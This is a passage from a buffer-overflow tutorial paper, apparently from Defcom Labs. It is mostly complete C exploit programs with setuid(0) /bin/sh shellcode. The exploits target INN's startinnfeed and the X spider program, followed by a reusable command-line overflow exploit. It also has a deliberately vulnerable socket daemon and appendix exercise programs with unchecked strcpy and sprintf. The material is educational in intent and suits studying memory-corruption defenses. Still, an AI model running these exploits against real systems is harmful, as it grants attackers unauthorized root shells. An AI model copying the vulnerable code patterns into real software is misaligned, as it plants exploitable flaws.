  perror("listen");
  exit(1);
}


for(;;) {
  fromlen = 16;
  sockfd2 = accept(sockfd, (struct sockaddr *)&serv, &fromlen);
  if( sockfd2 < 0)
    continue;

  if(fork()) {
    close(sockfd2);
  }
  else {
    close(sockfd);
    dup2(sockfd2, 0);
    dup2(sockfd2, 1);
    dup2(sockfd2, 2);

    /* NOW HERE WE DO THA NASTY STUFF */

    sleep(15);

    while(read(sockfd2, buf, sizeof(buf)) != -1) {
          copyline(buf, sockfd2);
    }

    //      if(read(sockfd2, buf, sizeof(buf)) != -1) {
    //     copyline(buf, sockfd2);
    //     next;
    //      }
    //      else {
```

```
      //     exit(0);
      //     }
    }
  }

  return 0;
}
```

---deamon.c---

Now in here we have the example of a deamon, the only thing that needs to be taken care of is in the shellcode, since the descriptors are closed you need to open them so you can talk, by either doing pipes or other techniques.

VI. Real life examples.

For real life examples we will take for the aligned buffer an overflow that exists in the INN package, specifically on the innfeed program. This is the example code:

Local:

---x-innfeed.c---

```
/*
  x-innfeed.c

  Enrique A. Sanchez Montellano
  (@defcom.com ... Yes is only @defcom.com)
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define OFFSET  0
#define ALIGN   0
#define BUFFER  470

// MANDRAKE, REDHAT, etc....

#ifdef REDHAT
static char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
            "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
            "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

#endif
```

```
#ifdef SLACKWARE
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
static char shellcode[]=
"\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\
xe8\xe6\xff\xff\xff/bin/sh";
#endif

unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}

void usage(char *name) {
  printf("Usage: %s <offset> <align> <buffer>\n", name);
  printf("Defcom Labs @ Spain ...\n");
  printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
  exit(0);
}

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  unsigned long addr;
  int i;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffer = atoi(argv[3]);

  code = (char *)malloc(buffer);

  printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n");
  printf("-------------------------------------------------------------\n");
  printf(" [ + ] Enrique Sanchez (@defcom.com ... Yes is just @defcom.com)\n");
  printf("[ + ] Defcom Labs @ Spain ....\n");
  printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n");

  addr = get_sp() - offset;

  printf("[ + ] Using address 0x%x\n", addr);

  for(i = 0; i <= buffer; i += 4) {
    *(long *)&code[i] = 0x90909090;
  }

  *(long *)&code[buffer - 4] = addr;
```

```
  *(long *)&code[buffer - 8] = addr;

  memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode, strlen(shellcode));

  printf("[ + ] Starting exploitation ... \n\n");

  // REDHAT, MANDRAKE ...
#ifdef REDHAT
  execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
#endif

  // SLACKWARE
#ifdef SLACKWARE
  execl("/usr/lib/news/bin/startinnfeed", "/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
#endif

  return 0;
}
---x-innfeed.c---
```

Now as an example with an unaligned buffer would be the program that comes with the X package, which is called spider, it has an overflow in the save-file option. The buffer is 1015 so the buffer becomes unaligned, I specifically aligned this program in a non-automatically way so people would understand what is going on.

Local:

```
---x-spider.c---
/*
  x-spider.c

  Enrique A. Sanchez Montellano (@defcom.com)
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define BUFFSIZE 1015
#define ALIGN    0
#define OFFSET   0

/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
static char shellcode[]=
"\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\
xe8\xe6\xff\xff\xff/bin/sh";
```

```
unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffsize = BUFFSIZE;
  int i;
  unsigned long addr;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffsize = atoi(argv[3]);

  code = (char *)malloc(buffsize);

  addr = get_sp() - offset;

  printf("Using address: 0x%x\n", addr);
  printf("buffsize is %d\n", buffsize);
  printf("offset is %d\n", offset);
  printf("align is %d\n", align);
  printf("CHECK HOW ALIGN AND OFFSET ARE 0 AND IT WORKS .. NICE HUH?\n");

  for(i = 0; i < buffsize; i += 4) {
    *(long *)&code[i] = 0x90909090;
  }

  printf("code is: %s\n", code);


/*****************************************************************************************************************
* CHECK THIS ... THE RIGHT BUFFER IS 1015 BYTES, WHY THIS IS
*
* IMPORTANT?? ALIGNMENT, BUT THE ADDRESS ALIGNMENT IS THE MESSY
* PART, THAT'S WHY YOU HAVE TO MOVE YOUR ADDRESS IN A WEIRD WAY, SINCE
* YOU ARE 1 BYTE UNALIGNED, PROBLEM IS THAT USUALLY IS NOT EXPLAINED
* THE 4 BYTE DROP AND WHY IS IMPORTANT JUST TO HIT 2 ADDRESS ....
* THIS IS A PERFECT EXAMPLE OF IT ... I WILL INCLUDE IT IN THE TEXT
* I'M DOING ON THE SUBJECT ... HEHEHEH
*****************************************************************************************************************/

  *(long *)&code[buffsize - 3] = addr;
  *(long *)&code[buffsize - 7] = addr;
```

```
  printf("code is: %s\n", code);

  memcpy(code + buffsize - 8 -strlen(shellcode) - align, shellcode, strlen(shellcode));

  printf("code is: %s\n", code);

  printf("EXECUTING spider -save-file %s\n", code);

  execl("/usr/X11R6/bin/spider", "spider", "-save-file", code, NULL);

  return 0;
}
```
---x-spider.c---

This last example is extremely verbose because it was coded to help a friend understand why he had to move around his address and it would not work automatically.

VII. General overflow programs

This is a environment based argument exploit, you only have to change couple of lines to be able to run it on anything you want.

general-commandline-lnx.c

```
/*
 * General purpose overflow program only to change and exploit
 * most of command line overflows on linux.
 *
 * Enrique Alfonso Sanchez montellano
 * <nahual@g-con.org>
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

/*
 * You NEED to define VICTIM either on command line or
 * change the line in here
 */

#define VICTIM "/there/is/nothing/here"
#define BSIZE  1040
#define ALIGN  0
#define OFFSET 0
```

```
extern char **environ;

char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
            "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
            "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv) {
  char *c0de, *envy;
  int bsize = BSIZE, align = ALIGN, offset = OFFSET, i;
  unsigned long addr;

  if((envy = getenv("AAAAAAA")) == NULL) {
    setenv("AAAAAAA", shellcode, 1);
    execve(argv[0], argv, environ);
  }

  align = strlen(argv[0]) - strlen(VICTIM);
  addr = (long)envy + align;

  c0de = (char *)malloc(bsize + 1);

  for(i = 0; i < bsize; i += 4)
    *(unsigned long *)&c0de[i] = addr;

  /*
   * remeber to add the arguments needed here
   * c0de is the buffer that is goign to overflow the function
   */

  execle(VICTIM, VICTIM, c0de, NULL, environ);
  return 0;
}
```

VIII. Conclusion.

This paper was an extensive and hopefully in depth look at buffer overflows .The theory, and the platform basics will change a bit but the theory remains the same, to grasp the technique is to be able to quickly and flexibly apply it to any situation that might arise.

Appendix A (selected exercises and dangerous functions):

---vuln1.c---

```
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
```

```
int main(int argc, char **argv) {
  int i;
  char buffer[824];

  if(argc != 2) { exit(0); }

  strcpy(buffer, argv[1]);
  printf("You wrote %s\n", buffer);

  return 0;
}
---vuln1.c---

---vuln2.c---
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int woohoo(char *name) {
  char logger[2048];

  sprintf(logger, "%s", name);
  return 0;
}

int main(int argc, char **argv) {
  char buffer[1024];

  if(argc != 2) { exit(0); }
  if(strlen(argv[1]) > 1024) {
  //Logging what the user tried to send to our program
    woohoo(argv[1]);
    printf("Buffer overflow attempt recognized, logging ... \n");
    exit(0);
  }
  else {
    buffer[1024] = '\0';
    printf("You wrote %s\n", buffer);
  }

  return 0;
}
---vuln2.c---
```